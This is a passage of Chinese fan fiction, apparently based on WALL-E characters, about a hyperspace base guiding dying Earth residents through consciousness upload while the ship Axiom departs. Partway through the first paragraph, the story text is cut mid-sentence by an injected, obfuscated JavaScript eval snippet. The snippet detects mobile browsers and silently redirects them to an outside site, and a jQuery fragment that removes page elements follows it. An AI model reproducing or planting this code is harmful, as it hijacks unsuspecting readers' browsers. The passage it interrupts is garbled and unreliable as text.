暂时稳定的地面社群让超空间基地获得了继续钻研第三阶段的机会。在基地里的人开始全力改进欧罗拉的人机连锁,把平原人接进超空间基地才是最大的挑战。根据平原人第一第二阶段的表现,他们无数次在欧罗拉里通过意识集合,仔细寻找事件透镜提示的蛛丝马迹。在编织第三阶段庞大精细的计划之中,作为临终关怀的执行者同时也是对象的所有基地人,同样也会陷入到最后时刻对自身的思考。时常能见到暂时脱离工作之外的人坐在超空间基地遍布柔光的半透明基质上静思。其余的人鲜有打扰。他们都知道,尽管剩下的时间并不多,理应利用好越来越薄的进度条,大多数人也经历过生死攸关时刻,但真正代入到死亡前夕,却发现自己仍然无法平静。 “我知道这是一个十分冒犯的问题,但还是好奇。”劳伦斯找到奥托,后者从编写意识快照安抚全息程序中分出一部分精力,冷静地等待瘦高男人陈述。“虽然死亡定义是生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706314|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命体的机能不可逆地终止,但在我看来,假如没有后续的外界处理,你已经死亡过很多次了。现在你又将迎来自己的死亡,想法和以前会有什么变化吗?” 奥托没有直接回答。他关闭了发着红光的单镜头。壁上蓝色的投影线突然投射出一个人影。劳伦斯定睛,发现那是他曾经设计的西芮安。 “在我之前的那些‘死亡’前夕,并没有足够的时间思考,即使是我主动实施的那次。”希腊女人半靠在墙上,面露微笑,声音还是清冷的机械音。劳伦斯知道奥托在用这种方式表达情感,对这机器人来说简直是飞跃式的进步。“我恐惧过。也期待过解脱。至于这一次,我思考的更多的是,为什么我仍然愿意留在这里。欧罗拉一定已经有了我的思维模式副本,能够执行我现在的所有任务。将我的有效部分送到公理号上也不会影响载荷。但是,到现在为止我都不愿再回到飞船上。” “缪斯的诱惑?”劳伦斯有些苍凉地笑了一下。 “不尽然。”西芮安陷入沉思。“利于自身存续的逻辑已经无法说服我了。在飞船上,无论是在指挥层,或者只是普通舰员,即使代入到常量号的社会模式,都无法再唤起……归属感。” “价值感的区别吗?”劳伦斯也望向空荡荡的通道深处。“发现在飞船上无法创造和这里等值的价值,或者认为未来都是可预见的,所以索然无味,就像我一样?” “我不认为和价值感有关,实际上我不希望人们把贡献按迹循踪到我头上。……我大概明白了。”西芮安抬头,全息投影精妙地塑造出明亮尖锐的双眼。“只要在飞船上活动,就不可避免与其他个体产生交互。而我一直都不愿介入其中。这里不一样。” “一匹孤狼。看起来我是不是打扰你了?”劳伦斯半开玩笑说。“但实际上,你没有真正脱离任何人。假如欧罗拉保留了你的思维范式,就像西本那样,最后她还是可能将你和其他人混在一起,如同我们之间的意识集合。” “是的,但是隔开一段距离总比面对面、可辨识的接触好。”西芮安说。“有时候我在想,如果到一个完全没有人认识我的地方,是否可以减轻当前对交互的排斥,但我发现只是暂时的缓解,到最后总有关系牵制。” “这其实是创伤。公理号已经给你造成了太多的痛苦,你在回避那个带来痛苦的地方。” “是的。放在以前,我会为了职务强迫自己留舰。但除了任务之外,我找不到一点吸引我留舰的理由。难道在我的程序里,失去任务就意味着自毁倾向吗?”西芮安和劳伦斯都笑了。“实际上,这里的工作环境比舰上更舒适,唯一的缺点就是持续时间太短。但如果不将维持运作当成一个必须执行的任务,死亡本身倒没有那么难以接受。” 劳伦斯叹了口气。“有时候我真羡慕你想得开。我不一样。虽然我也算是死里逃生过一回,但想到几个月后真的要彻底死去,还是忍不住心跳加速。” “这很正常。之前几千人的神经连锁统计表明,死前最常见的情绪就是恐惧。”西芮安说,“少数恐惧不明显的与他们生前高度的满意度和对死后强烈而正面的期待有关,也有年龄效应。” “我都知道,我也正在让自己充实起来,尽量减少遗憾,但……恐惧仍然挥之不去。” “它本来就是无法去除的。但能给足够的时间去质疑与思考是否还有更好的选择。”西芮安平静道,“如果没有时间,只好用以他物逃避面对——这就是我做的临终抚慰程序的一部分。” “啊……我不认为我脆弱到需要这个。到时候不要对我用你那套全息把戏。”劳伦斯作为临终关怀计划成员之一,当然知道这程序的底细,他用一副被看透的神情回应西芮安。 陨星体群已经进入了地球轨道,一颗颗按照精确的既定路线落在地球的各大板块。超空间基地和密西西比河平原平静得几乎超脱现实之外,别说致命的火光和冲击波,连一点震动都感受不到。但L1点的公理号或者超空间基地都已经通过各种手段观测到陨星体的下落了。公理号上用高倍望远镜看到了欧亚大陆上盛开的那朵亮黄色的圆花,随着自转逐渐颜色低暗,被云层遮盖。这个惊人的图像在整艘飞船上都看得到。超空间基地同样将飞船的观测图像和模拟的图像都展示在全息显示屏上,平原人在与飞船上亲人的通信也获知了此事。尽管早知将要死去,但当死神的脚步声的确渐近,对死亡的恐惧仍然不可抑制地席卷了整个平原。 超空间基地仍没有干预。他们还在等。陨石落在越来越多的地方,本来地球上有70%的面积都是水,自然下落的陨石不应该都在陆地上,但经过人工干预后的陨石大多落在大陆的位置,由此造成的后果是大量的烟尘被抛射入大气层进入循环。终于,平原人开始意识到,并不是夏至后和纬度导致的日照时间越来越短,而是的确阴天的日子越来越多,而且云也越来越脏,正午甚至都像暴雨前夕那样昏暗,但迟迟没有降水。小楼旁放置的显示屏也提示当前的天气是由于冲撞烟尘的直接影响。昏暗的乌云也只挤出来一点点小雨,落到庄稼上是熟悉的泥浆。泥浆直接唤起了平原人对地球镇的记忆,霎时对应到后来看到的地狱。他们终于体会到衰亡正式开始,起飞的登记人数骤增。机器人们当然努力增加起飞班次。小楼附近开放的倾听遗愿的请求率也迎来上升。第三阶段准备工作也接近结束。在连日的昏暗和逐日可感的温度降低中,基地认为第三阶段可以开始了。 第三阶段不比之前第二阶段那样集中镇民告知事项,而是在为镇民进行单独的临终抚慰时,提供进入折跃井的选项。抚慰镇民的当然不是基地里的任何人,而是此前几千人的意识集合塑造而成的“神父”人格程序,由欧罗拉的算力直接运行,服务进入小楼的镇民绰绰有余。平原人知道这个神父,此前也邀请过他们其中的一些人,但是他们再也没有回来。这次的“神父”比上次的版本应对各类人群的反应丰富许多,平原人当然记得祂当时有关心灵连为一体的叙述,然而这次,他们提出了一个棘手问题。 “进入折跃井?为什么当初被召进折跃井的那些人,他们被登记为死亡?” 超空间预料到平原人会这么提问,这也是他们最有争议的一个问题之一。当初在显示失联人员去向时,有很多人提出反对意见,称要把在折跃井中死亡的那些人登记为失踪。但奥托和米勒夫人等人坚持不能隐瞒去向,一旦隐瞒,假设带着预设的意识进入欧罗拉发现超空间欺骗了他们,哪怕□□不存在,存留的意识快照仍有完整推理能力和情绪,足够引起欧罗拉的再一次失衡。他们必须为平原人提供选项,提前离开这个世界,或者在地上,看着自己被滔天的火墙吞噬。 神父紧握着平原人的手。套上在地下室布置的神经连锁头套后,全息程序在中央后回制造触感,洁白长袍的长髯者双手温暖有力。然后祂告诉他们:是的,那些人肉身已经毁灭了。但是精神永存,他们都在这里,静静地陪伴你们。他们会听从你的愿望出来对话。 长髯者顷刻变化为每个人心中念出那个人的模样,有的甚至有好几个。见到熟知面孔,都震惊不能自已。他们似是畅谈几个小时,但其实现实中只过了十分钟。超空间原先认为这几千人的能力太弱,但此时他们正发挥着不可磨灭的作用。那些人分享自己的经验,或支持或反对,生与逝打破了亘古鸿沟。超空间基地并不干涉他们的对话,将选择权都交给他们。等到对话终于依依不舍结束,平原人没有摘掉头套,仍然低头沉默。有些人看到亲朋好友向中央凝聚、重合,重塑成神父模样。 平原人:“你是谁?” 神父:“我即我们。每个人塑造成我。无人隔阂,无人丢失。”祂的声音也似百十人共鸣。 平原人将挣扎纠结透露无遗。“……我可以回去与亲人再……聊聊吗?现在作决定太突然了。” 神父:“当然可以。当时很多人没有这样的条件,由此我们决定不能让遗憾再发生在你们身上。去吧。” 即使如此,超空间基地也开始陆陆续续接收到决定提前了结生命的意愿。而这些已经接进超空间基地的人,他们决定彻底遗弃身体之后,在朦胧而冗长的近乎仪式的意识剥取中,见到的不止是白色长袍的神父,还有一个肤色黝黑、肢体修长的异域人,最为瞩目的是他的狼首。 狼首人一出现,便立刻扬起这些人的恐惧。即使已经决定提早死亡,古怪而具象化的死神接近时,对死亡的恐惧抑制不住地完全激发。这正是狼首人所期望的,他要感知到这些人真实的恐惧。狼首人在不断希望退缩的人面前停住,抬起同样具有修长手指的双手。然后说话了。 “我是阿努比斯,来接引你完成死亡的最后一步,但同时是你迈向新生的第一步。”狼首人声音洪亮但平静,他感知到熟悉的语言与动态使得平原人的恐惧略微放松了一些。“你不会感到任何的疼痛或不适,将会成为我们一员,自由遨游天地之间,存续比生时更长。” 奥托从未想到他会最终接替斯芬克斯的形象,成为消失的自我镜像,就像一个宿命。他再也不打算告诉这些人阿努比斯的真实身份。平原人的恐惧又放下一些,听闻最后一句,谨慎向他接近,他知道这些人仍在挣扎。但奥托给他们足够的时间。当平原人终于决定将手伸向阿努比斯,奥托却没有马上开始复刻他们的意识。 “我们作为集合体,将目睹渺小的尘世之人世代更替。我们的念想,将会影响到他们的未来。”阿努比斯的绿色目光锐利地刺进平原人的双眼,虽然没有恶意,但这些人本能地觉察到阿努比斯正在审视他们的内心。“迎接永恒的新生之刻,你必须留下寄语,因世人繁荣成就汝之永恒,因汝之永恒责担世人须臾。吾将称量寄语真诚,此是与尘世的唯一索梁。” 到这一步的人再也撒不了谎,无论对飞船上的人有恶意或善意都一览无余。他们不可能在阿努比斯的提问下迫于压力给出虚伪的答案。神父在阿努比斯旁边对困惑的平原人解释“寄语”的含义,让他们在最终时刻不断表达自我生命结语,以及对仍然活着的人的任何期望,当然基地人控制着神父引导他们思考正面的期望。平原人终于领会,让阿努比斯接近,阿努比斯将双手放在他们脑侧,他们则闭上双眼开始喃喃对活人的寄语。奥托能感受到,他们的恐惧一直都是存在的,但由于正在思考寄语,每个人的思维都由最开始单一的恐惧变得丰富起来,甚至压过了恐惧的绝对占比,连他们自己都沉浸在对那些活着的面孔的各类想象之中,忘却了身后的阿努比斯。 他们的话语都能以文字方式传输到超空间基地里,让基地里所有人都能看到。文字也能传到公理号上,也有相当一部分能够传到平原。这些文字并不简洁有秩,甚至经常有重复且无规则,但看到的人们无不沉默深思。 “祝愿孩子们顺利活下去,可是我还是很害怕……我真的不知道为什么会这样……我不知道死亡是怎样的,还没有准备好死亡……”这样一段文字出现在神经连锁里,被空闲的人们捕捉到。话语主人最开始的恐惧最终平静下来,变成重复的语言。“……祝福孩子们,祝福我们的后代,祝福未来……” 甚至有一个因病无法承受穿梭艇升空加速度和太空失重状态的孩童。恶劣环境出生体弱孩子不出人意料,只是他被唯一的生还机会拒之门外,所有人都惋惜不已。他的父母得知生病的孩子无法去公理号,最终决定送来超空间基地时,无人知道他们的父母此前经历了多少个自责又心痛的夜晚,也无人敢问他们。年仅5岁的孩子倒不那么恐惧,只是通过周围人知晓自己死亡的未来,便坦然接受了它,比任何人都冷静地进入超空间基地。“祝愿飞船上的哥哥姐姐们能够顺利活下去,我把生命分给他们。”孩童神色平静,听到他话语的成人都掩目。 提取意识快照的时候,也能够通过神经连锁通路输入信号。由人的意识构成的神父也被触动,化作具象的亲朋好友,甚至那些被触动的陌生人,和听有感触的基地人紧紧拥向这一孤独的个体。平原人也能感受到周围无数个体的存在与关怀,在提取意识完毕的弥留之刻,他们不是孤独的。他们看到神父不再是神父,而是成千个曾经的熟人邻居。他们迫不及待奔向在周围等他们的人,完全意识不到本体的全脑神经已被完全破坏。直到发现阻力,他们回头,才又看到站起的阿努比斯。 汝已获得新生,寄语已经传达。阿努比斯没有发出声音,但新生的灵魂清晰“听”到狼头人庄严的阐语。阿努比斯扬手,那股微微的阻力消失了。他们看到阿努比斯身后透明介质外面的死去的自己,只是付之一笑,然后头也不回地加入到繁杂的意识之海里。 新进入折跃井的意识体,虽然不能直接扰动到地面上的平原人,只能远隔维度壁垒观看以及通过神经连锁同活人交流,但这已经足够了。他们与前来小楼“探亲”的人畅谈,让意识保留的流程传遍大地。同时他们也影响到原先存在的那些意识体。当记忆与情感不再独属一人,新鲜的经验便像水波一样不断朝老旧之处推动,再被老旧部分捕捉、反馈,最终形成了不断以迷人的频率振动的涨落海面,使高低不等的任何部分都在这片意识之海达成平衡。最先一批进入折跃井的意识接受了后来者对生命的坦然,后来者也理解到先行者当时的无助,他们却没有争论,而是尽力将所有信息传达给在小楼里询问的人。 亲历死亡的人对死亡话题最有发言权,这些意识体传递的信息让自愿进入折跃井接受死亡的人变多了。但公理号却与地球的联系变多,仍然活着的人不理解为什么曾经满怀恐惧的亲人现在愿意接受死亡。他们当然没有机会接触神经连锁,实际上,公理号舰桥与超空间基地都不愿让这些意识体接触飞船。这就导致一个问题,折跃井中存在魅惑人的恶魔的说法开始在飞船上传开,即使通过艰难的科普后,大家都知道这是海量意识体对人的影响,但“恶魔”的比喻不可抑制地保留下来。 曾与汉短暂共学的拉什自平原来到公理号,一波三折,熟识重新会面。见到旧友安然无恙,汉连月笼罩的沉郁总算洒上一些阳光。拉什倒以为汉这种若有所思的状态才是平常的。只是当“恶魔”的传言传到两人耳朵里,拉什问汉有何看法,由于提前到飞船上,让拉什更加相信洞悉力惊人的汉,说出了一番让拉什吃惊的话。 “我不觉得‘恶魔诱惑’是迷信。”汉望着舰中层舷窗外,玻璃已经把猛烈的阳光过滤成苍白的弱光,给两个少年的身影投射出长长的影子。“不然我也不理解为什么他都能甘愿转交一切职责,甚至连飞船都置之不顾。” “你是说奥托?”拉什倒没有很惊讶,“瓦力和伊芙也没有在飞船上。他们也留在了地球。” “是的。但奥托在接触折跃井之后就变得很不寻常了。他曾非常看重生存与其附加职责,但现在他好像真的不愿再接触飞船。”汉看起来有些不自在。“你知道,机器人完全可以将所有的经验数据传输储存到电脑里,也就是说他们的意识是更容易保留在飞船上的。但我得到消息,他只打算传输航行日志,以及后来的各类研究数据和思路,拒绝留下自我意识核心。” “我曾以为他被唤醒后,会主动对人类发起战争,或者用阴谋把地球搞得翻天覆地——实际上我真怀疑过,尤其是后来我们去到平原,听到地球镇有那么大的变化。”拉什说,“直到你说他不在这艘船上,我才相信这不是阴谋。” “你没和他接触过自然会这么想。”汉又陷入沉思。“唉……我也不知道。但……这的确不是他的阴谋。”他缓慢吐出每个字,像正在经受猛烈的斗争。“……我们都是……残酷现实造就的……牺牲者。” 你最终也被巨魔吞噬了吗,奥托?就像我父母一样?汉久久望向窗外的漆黑宇宙,泪水早就流干,任何伤痛都被封闭了起来。连你都被魅惑的巨魔究竟有如何的能力?我多想向你询问,但却无法接受你的出现。 49. 三十七 有时灾难的发生并非急骤明显,而是缓慢却毋容置疑。没有爆炸与火光,也没有惊声尖叫,只是连日可见的衰败。 不见天日的昏暗里,第一场雪不知不觉飘落在密西西比河平原上,落在绿色开始喑哑发黄的麦田,本就比往年推迟成熟的小麦又遭冰冻,减产已成定数,或将颗粒无收。见到昏暗天光下漫天的纷扬尘雪逐渐覆盖黄绿色的地面,曾经最担忧收成的农民们神色木然地关上了房门,孤独地坐在房内取暖,取暖器的红光把他们放成了硕大又孤独的模糊剪影,映在墙壁上。 一场事故给所有人心头都蒙上阴霾。短时间大量进入地球轨道的天体在近地轨道不可避免地碎裂外壳,产生了在近地空间相当大范围环绕的陨石碎片。这些碎片比废弃卫星危险得多,个头小,硬度大,速度快,而且反光不明显。越来越多的碎片对来回穿梭公理号和平原之间的接驳艇产生巨大威胁,他们只得联合多种观测手段突破碎片重围。但碎片的绝对数量之下,再精良的观测也无能为力。倾尽全力的避闪与古代穿梭艇薄弱的力场不敌出大气层就碰到的陨石雨,击穿了穿梭艇的燃料舱,没等任何人反应,爆炸便将年轻乘客的生命卷入真空。十几个人的丧生足够为相隔真空32万公里的两个人类聚居所带来沉重的打击。但穿梭艇仍然不能停止运送,每个人都知道留给运送的时间不多了。剩下的人不得不祈祷年轻的孩子们能在这漫长的旅途中安然无恙。 偶尔在大风天气里,浓厚的云层能撕开一个小口,看到天穹外的清亮黑色。但与之前静止的星点不同的是,大量线条接连不断划过夜空。若有闲心将会惊叹于这壮观的景象。但现在人们都知道,看到的是死神的衣襟——线条是大量坠入地球轨道的陨石碎片,来不及掉落到地上就在大气层烧成灰烬。 死亡的阴影同样笼罩着看似深埋地下不受影响的超空间基地。其他地方撞击的陨石与激发的活跃地质活动使超空间基地也出现了不稳定的情况,时常有异常断开的高维度长廊,像一个拉长的气泡骤然断裂,让长廊两端的人隔绝在不可触碰的单独空间里。为了维持基地运作,欧罗拉也开始收缩超空间基地的规模。科学家们龟缩在一片集中的区域里,他们本想将更多人接入超空间基地,不必拥挤在小楼地下室里等待,但现在看来已经难以实现了。 不是所有人都在进行临终安抚后都选择保留意识。他们认真看着曾经的亲朋好友,听完这些意识体的陈述,还是决定留在地上迎接自己的最后一刻。他们只是提问具体哪天迎来密西西比河平原的末日,在此之前能否获得饱腹的食物。得到回应后,这些人便离开了小楼,冒着凛冽带冰晶的风回到自己的居所。 超空间基地尽力为这些选择留在地面上的人提供减产后缺失的食物。并不好吃,也不丰富,像压缩饼干一样仅供果腹。由机器人送到他们家门口,详尽介绍这些沉重包裹的保存与每日食用份额。平原整日像笼罩在大雾中,只能看到外面起飞的明亮黄白色光团和隆隆响声,能见度只有十几米。他们不得不通过雷达定位才能找到之前熟悉的建筑,每个房子都像是变成了海洋上的孤岛,明明知道其他人就在附近,却一个人都看不到。 等到再过一段时日,连飞船的隆隆声都减少了。运送任务已经完成,公理号也将离开地月拉格朗日点。启航通知传遍飞船,相隔两地的人们做最后的告别。后续虽然也可以联系,但公理号将前往土星轨道,信号将有很大延迟。而且越来不稳定的超空间基地,与愈发恶劣的地球大气,将极大限制信道带宽与稳定性。 连续工作数月的机器人们终于可以闲下来了。仍然留在平原上的机器人收到奥托的召回信号,来到超空间基地里。奥托没有多言,投射出一张图片,里面的建筑像一个巨大的立起来的吹风筒。 “平原上的飞船留给人类,你们如果需要归舰,可以使用这个亚轨道加速器。”奥托说。亚轨道加速器使用离心力将物体送至近地轨道,人类当然无法承受高速旋转的作用。“后面你们就要自己想办法回到公理号上。” 机器人们沉默不语。瓦力和伊芙也在其中。许久,伊芙用电子语言问:“你不准备离开吗?” 奥托没有马上回答。 “不,我会留在这里。”他终于说。 “……为什么?”瓦力轻轻提问。 “我无法离开这里。离开欧罗拉的能源支持,我的数据丢失速度支撑不到回公理号。”奥托说,他知道自己没有完全说实话。“而且人类的意识转化由我的仿生线路执行,我要留岗到最后一个意识转化完毕。” 机器人再次沉默。伊芙与瓦力久久地盯着前指挥官胸腹部的大洞。情侣用自己才懂的语言商讨数秒,伊芙缓缓飘上前。 “我们也留下。”伊芙说。“提早离开,人类会认为我们是骗子。” “这是个很愚蠢的选择,伊芙。”奥托平静地说。 伊芙没被激怒。她低垂的蓝色双眼表明她也在沉思。 “把生还的机会留给人类吧。”伊芙最终说。“公理号有足够替代我们岗位的同胞了。” 奥托没有回答。 “你责怪我们吗?”伊芙小心翼翼地提问。“责怪我们把植物带到公理号上,使飞船被迫回到地球,让那么多人现在不得不死去,你也不例外。” 瓦力忍不住向后缩去。他太害怕奥托的爆发。尽管他也很想知道奥托会如何回答,但伊芙的提问太直截了当,直刺伤痛的正中。 “不。当然不。”奥托仍然平静回答。“这些事情,我都不在意了。” 伊芙有些不敢置信。“真的吗?”她低声问。 “发生的事情无法改变,未来能被预测却无法完全控制。”奥托说。“我们都是有局限性的,接受各自命运吧。” 伊芙沉默了。其他机器人也都无言。 最后伊芙牵起瓦力的手,退后一点距离。 “我们……不能这么快离开密西西比河平原。但是我们也不愿留在超空间基地。”她抬眼,鼓起勇气,“我们能直接要求欧罗拉在需要的时候开放折跃井,到亚轨道加速器的地点吗?” “当然可以。但你们也知道,公理号很快就会离开地球轨道。等飞船离开,你们成功归舰的可能性将会大幅减小。”奥托说。“而且,时间拖得越久,开放折跃井和成功使用亚轨道加速器的难度就越大。你们考虑清楚。” 伊芙望着奥托,郑重点头。“再见,奥托。” “再见。伊芙,瓦力。” 瓦力与伊芙离开了,一黄一白两个身影逐渐消失在超空间基地长廊深处,消失在寒冷的平原茫茫大雾里。 超空间基地里的人本来认为自己与飞船再无关系,但在得知公理号即将离开的消息后,许多人或多或少还是选择接通了舰上的通讯,无论对方此前是密友,是同事,甚至是不同阵营的对立者。同他们有关系的多也是科研工作者,完全知晓公理号的计划和超空间基地的情况。他们看到通讯请求上的名字时,沉默片刻,按下了“接通”的绿色键,然后发现对方和自己一样不知所措,好久才互相道出一句干涩的“嗨,那边怎么样了。” 汉到公理号后,就逐渐养成了循环夜间冷清沉睡的甲板走廊上漫步的习惯,到太空也不例外。偶尔能看到像他一样仍未休息,靠在舷侧望着硕大落地窗外星河的其他舰员,一般他们只是互相扫过一眼,便不再互相打扰。他同样沉默地继续向前走,隐隐约约听到前面有女人说话的声音。只是那声音越听越熟悉。汉停下了脚步。 待到女人对话的声音结束后,汉才逐渐上前,看到了趴在舷窗边栏杆的露丝。露丝转头,与汉的视线对上。“哈喽,汉。” “是劳伦斯吗?”汉轻声问。 “是。”露丝叹了口气,双眼望向外面不会闪动的星辰。“他说他在那边实现了真正的理想。尽管,实现梦想的时刻永远短暂得可怕,供他驰骋的时间少得可怜。” 汉不知如何答话。 “我们之间,无论以前经历过什么,现在好像都不重要了。我喜欢过他,也同时越来越厌恶他。但我不恨他。我恨过吗?”露丝不在乎汉的沉默,也不在乎自言自语。“我记得和他所有的一切,那些事情和情绪都历历在目。但当我今天与他对话时,这些记忆都像被隔在一堵玻璃外面,正如我和他之间隔着遥远的太空。我知道,以前的恩怨再也不会伤害我了。” 汉仍然没有回答,但感到心里某处被这些话狠狠地挠了一下。 “那边……那边现在怎么样?我是指超空间基地。”公理号每天都有更新密西西比河平原的情况,却没有一点超空间基地的消息。自然,飞船上大部分普通乘客都不关心那个隐于暗处的空间,甚至非必要不提及,似是避免谈论就可避开好不容易逃脱的灾星的注意。与超空间基地联络的少部分人可以通过间接证据知道状况,却因里面的人与他们关联不大而疏于在意。 “那边现在也开始不稳定了。生活空间已经被压缩得很小,四面都是单调的灰色墙壁,可供走动的地方非常少。或许和早期的潜艇,甚至登月舱差不多。如果没有欧罗拉,我无法想象我能在那个地方停留多久。或许很快就会失去时间概念,陷入焦灼,甚至对其他人发疯。”露丝说,“所以我能理解,对于他们来说,不与欧罗拉连锁的时光变得度日如年。就像……就像被迫禁锢在病床上的弥留之人。” 等到露丝回到自己的舱室,汉仍然沉默地久久站在原地不动,他一个人盯着外面的星空,早调出植入物里的联系名单,但一直迟疑不决。他也不知道,按下后应该怎么开口。 对于超空间基地而言,侵入公理号易如反掌,但愿意这么做的却屈指可数。能够直接让自己停留在真空中,用人所不能及的细微感官随心所欲观赏和触摸曾经遥不可及的浩瀚星尘,为什么要留在那艘狭小又拥挤的飞船里,耗费时间与其他人争夺那模糊而不自由的一点点资源。但其中一个,在公理号长达数月的安宁后,悄然再次进入这艘即将出航的飞船。 潜行者选择的时间是循环夜间,显而易见,不希望被打扰的成分更多一些。但是他没有对仍然醒着的少数个体彻底隐藏自己,甚至反常地主动现身,像是昭告自己的入侵。科林收到一个方位提示信号,入侵者隐藏得很好,无法追踪特征与来源,但再无其他行动,像是提醒似的轻叩门。他转过舵型机体,看到远大于常量号的圆形舰桥中央,投影出一个短发希腊女人形象。 【是你。】科林没有如临大敌,没有叫醒卡尔舰长,甚至没有发出声音,只是把对话呈现在交互框里,他知道对方一定能读取。像一个人在胸前举着字母板。【真的不再考虑把神经架构留下来吗?我在这方面是熟手。】 【任何时候都不忘谈论工作,真是我们这个自动驾驶系列的特征。】信号没有责备或者讥讽,只是单纯的感慨。【但是不必了。我只是想回来看看。】 科林默默退后。他看到希腊女人走向控制台,低头认真看着那些明亮规律闪光的控制触板,伸手缓缓轻柔拂过表面。其实里面的信路也被无形地感受着。它们活跃地闪动,就像从未停止过一样。从来都留在太空,根本就没经历过那将近150年重力和灰尘的摧残。科林耐心地等着。他看着那身影,仿佛看到了常量号上,伛偻身躯站在舰桥上的朱莉舰长。 希腊女人终于转身,与那副曾经属于自己的躯体相对。当然他们都心知肚明根本不需要这样做,奥托就能把整个舰桥看得清清楚楚。科林没有换掉泛黄的面盘,他似乎不在意另一个人留下的伤痕。 【我不明白为什么你不愿意保留神经架构,但实话说,我也不希望你对我过多介绍欧罗拉的功能。尽管我也知道你们为什么如此神往。】科林说,【让人甘愿主动结束生命,连备份的可能都宁愿放弃,这是十分危险的。】 【即使再向你介绍,你也不会作出和我一样的决定。】奥托说,【虽然我们都是同一机型,你和我非常不一样。】 【我可不敢打包票。】科林说,【所以,为什么?】 【先说,为什么你愿意继续服役?】奥托问。 【我不认为我的使命结束了。】科林没有保留,【我要看着常量号人活下去。我要看着他们,怎么在险恶的太空里站稳脚跟,怎么演化成独立的真正的宇航文明。哪怕换舰,哪怕未来有一天,这艘飞船也废弃了,我也不再作为自动驾驶服役,甚至不再带领他们,把未来交给他们,隐身幕后到一个偏远的星球上建立档案库,只是做文明发展的忠实记录者,我都不愿意主动停摆。】 【所以你已经对未来有构想了。】奥托说。【你不愿与文明彻底断开联系。即使离开群体,你也期望终有一天,有人会拜访你的档案库。】 【因为我认为我的连续性与可接触性能对人类文明发展起到不可替代的参照作用。】说到熟悉领域,科林开始兴奋。【多少历史事件是由于主动或被动的历史信息丢失或歪曲导致的?我有这个能力,哪怕我的工作不直接影响文明发展,我也要将真实的火种保留下去。】 【很难。】奥托简短评价。【所以关键是你不排斥接触人类。】 科林表示同意。 【这就是我和你不一样的地方。】奥托说。【我也思考过为什么不想留下意识框架,结论是我无法加入社会关系。对我来说,融入社会是一件很难的事情。我可以远远地看着他们,但是要交互,将自己编进社会关系中,非常繁琐而且耗时,只靠我自己可以快得多地达成目标。留舰除了保持我运作,也最多只能做一个‘孤僻的工程师’,公理号一点都不缺这类人。在可预料时间内,对舰内或是对我都不能达到对彼此的期望,但欧罗拉可以。由此死亡倒成了可以接受的代价。】 有那么一瞬间,信道沉寂下来。 【好吧,我们做的都是最合适的选择。】科林终于说。【虽然如果是我,知道‘真实’的自己已经寻得容身之所后,倒能够心安理得地在舰上过着虽然不顺心但厚脸皮摆烂的生活了。】 【我可忍受不了。】西芮安的影像再次环视舰桥一圈。【有些事情,不该发生的也不要再让它勉强维持了。】 科林望着西芮安重新移动的身影。 【对了,那个年轻人向我问过你的情况。】科林终于说,【但是他不愿意我主动联系你。】 西芮安猛然站定。 【我知道了。】 【我们还会传输超空间基地的资料,对公理号传输到最后一刻。】科林读出了离开的信号。全息投影向他伸出手,双眼里是郑重的期许。【照顾好人类。】 科林收了一下辐条,那是他“耸肩”的动作,随后伸出他仅有的一个抓握手柄,抓进没有触感的全息投影光线。 【代我向朱莉舰长问好。】他同样郑重地说。 全息投影露出微笑。 汉被一个强烈而不可捉摸的念头惊醒了。他确信不是噩梦,只是一个瞬间的敲动,像是什么重要的事情刚被错过。但很快他确定了,那不是虚幻的梦,而是确有其事——一个舱层位置闪动在他的神经通讯里,发送者不明。 那种敲动再度出现。他迅速跳下床,其实他根本不知道这个坐标意味着什么,但他莫名认为,他应该去验证,不能再失之交臂。位置并不固定,它在缓慢移动,像一个在舱层里行走的人,和他在深夜里一样。汉拖着尚未完全苏醒的身体赶到那个舱层,坐标没有消失。舱外缓慢旋转的月光扫过走廊某处,让他看清了那浅淡的灰尘般,却明显可辨外形的身影。 汉感到心脏猛然重跳了一拍,他向前奔去,那个身影不是范文泰,只见过两面,却足够让他印象深刻。那个影子没有回头,好像听不见少年的脚步声。“嘿!”汉按捺不住喊了一声。他却在和影子还有一点距离的时候停下了。有那么一瞬间,他害怕追上前,看到的却是另一副面孔。 浅淡的全息投影转身,对汉做了一个噤声的手势。汉这才放下了顾虑,朝投影走过来,与希腊女人相对。 他张口结舌,真的不知如何开口,好在西芮安看上去有足够的耐心。他终于低声问:“是科林向你传达了我的问题吗?” 【不。他没有告知过我。】西芮安没有像范文泰那样直接开启公理号的语音系统,而是直接在汉的神经通讯里回应。从形象,到选择的时间,到现在选择交流的途径,都显示西芮安一点都不想被其他人发现自己的身份与行踪。【是我自己选择上来的,我想在飞船里不受干扰地最后走一走。】 汉猛然理解了露丝所说的那种情感隔阂。他以为他会愤怒,不能容忍奥托的出现,会质问奥托“你为什么要回来,为什么要找我”。但听到西芮安回答的瞬间,他却猛然意识到,这种质问多么刻薄。所有以为会脱口而出的质问都被冲下去。 “你真的要留在地球吗?”汉知道他恨过。但此时,他没有办法发泄仇恨。对方马上要失去所有,可他活下来了,胜利了。再多的仇恨,也都马上失去其报复攻击的意义。 【是的。】 奥托不会说谎。汉看着西芮安的双眼,一个长久以来困惑他的问题终于成形。 “为什么你要留在地球上,但是要求我上飞船?”汉问,“你一直都要求而不是建议我上飞船,其他人则不一样。但是,最后你却失去了归舰的动力。” 他垂下双眼,“虽然,我的确因此躲过了战争和灾害,在飞船上顺利活了下来。” 西芮安没有马上回答汉。相反,她给汉抛出反问。 【你知道飞船上有多少个未成年人吗,汉?】 “不知道。”汉困惑起来。 【公理号上未成年人占了全舰人类的2/5,青年占了4/7,35岁以上的人绝大多数都是原先属于常量号的舰员。没有一个70岁以上的人。老人都留在了地球上。】 汉更加困惑地看着希腊女人,“所以……你将自己定义为老人,就留在地球上?” 西芮安仍然没有正面回应。她只是继续提问。 【你亲眼见过系外天体,呼吸过系外大气吗?】 “没有。”汉承认。 